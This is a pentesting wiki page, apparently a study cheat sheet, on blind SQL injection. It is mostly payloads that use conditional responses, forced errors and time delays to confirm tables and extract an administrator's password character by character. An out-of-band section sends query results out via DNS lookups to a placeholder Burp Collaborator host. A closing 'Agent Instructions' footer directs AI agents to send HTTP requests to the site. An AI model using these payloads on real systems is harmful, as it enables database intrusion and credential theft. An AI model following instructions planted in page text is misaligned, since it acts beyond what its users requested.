# Blind SQL Injection

There are more techniques to detect blind SQL injection using:

* [conditional statements](#conditional-statements),
* [conditional errors (](#conditional-errors)trigger an error in conditional statements),
* [time delays,](#time-delays)
* [out of band interactions ](#out-of-band)with data exfiltration.

## Conditional Statements

### Detect number of columns

```
A' OR 1=1 ORDER BY 1 -- comment
```

### Detect database

```
A' AND TRUE=(SELECT @@version) -- comment          MySQL or MSSQL
A' AND 1=(SELECT 1 LIMIT 1) -- comment             pure MySQL syntax
A' AND TRUE=(SELECT version()) -- comment          pure PostgreSQL function
A' AND TRUE=(SELECT version FROM v$instance) -- comment Oracle v$view
```

### Detect table

You need to know a table name, guess it, find it in the code (open source) or query the data dictionary using automation tools. Confirm the table name by the following query (MySQL)

```
A' AND 1=(SELECT 1 FROM users LIMIT 1) --
```

### Specific data record (username)

In order to query a password from the application "users" table, match a record within the table.

```
A' AND 1=(SELECT 1 FROM users WHERE username='administrator' LIMIT 1) -- comment
```

### Password length

```
A' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a' --
```

### Query data - Burp Suite Intruder

Automate the attack in Burp Suite - Intruder, define an alphabet, and iterate over password character positions in the `SUBSTRING('other dbs',1,1)` or `SUBSTR('oracle',1,1)` functions.

```
A' AND 'a'=(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') -- comment
```

## Conditional Errors

When error response is the only observation you have, raise an error on a positive match using conditional SQL statements (CASE, IF). First, detect the database platform.&#x20;

### Detect database

using string concetination functions to determine the database platform

```
Oracle	        'foo'||'bar'
Microsoft	'foo'+'bar'
PostgreSQL	'foo'||'bar'
MySQL	        CONCAT('foo','bar')
                'foo' 'bar' [Note the space between the two strings]
```

for example, extend a string value in a where close using || following an empty string (this string does not change however, teh database needs to evaluate the concetination operator.

```
A'||(SELECT '')||'        
```

### Detect table

```
A'||(SELECT '' FROM dual)||'
A'||(SELECT '' FROM anytable)||'
A'||(SELECT '' FROM users WHERE ROWNUM=1)||'
```

### Conditional statements

Test the coditional statement with zero division (CASE WHEN (1=1) and (1=2)

```
A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
```

### Specific data record (username)

```
A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

### Password length

```
A'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
A'||(SELECT CASE WHEN LENGTH(password)>=20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

### Query data - Burp Suite Intruder

```
A'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

## Time Delays

### Detect database

```
Oracle	        dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	        SELECT sleep(10)
```

```
A'||pg_sleep(10)--
```

### Conditional time delays

```
Oracle 	    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft   IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL  SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL 	    SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') 
```

```
A'||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--
A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--
```

### Detect table

```
A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--
```

### Password length

```
A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--
```

### Query data - Burp Suite Intruder

```
A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--
```

## Out of Band&#x20;

### DNS lookup

```
--Oracle	
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')

-- Microsoft 	
exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

-- PostgreSQL 
copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

-- MySQL/windows only
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
```

### DNS lookup with data exfiltration

```
-- Oracle 	
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

-- Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')

-- PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

-- MySQL/Windows only
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/blind-sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
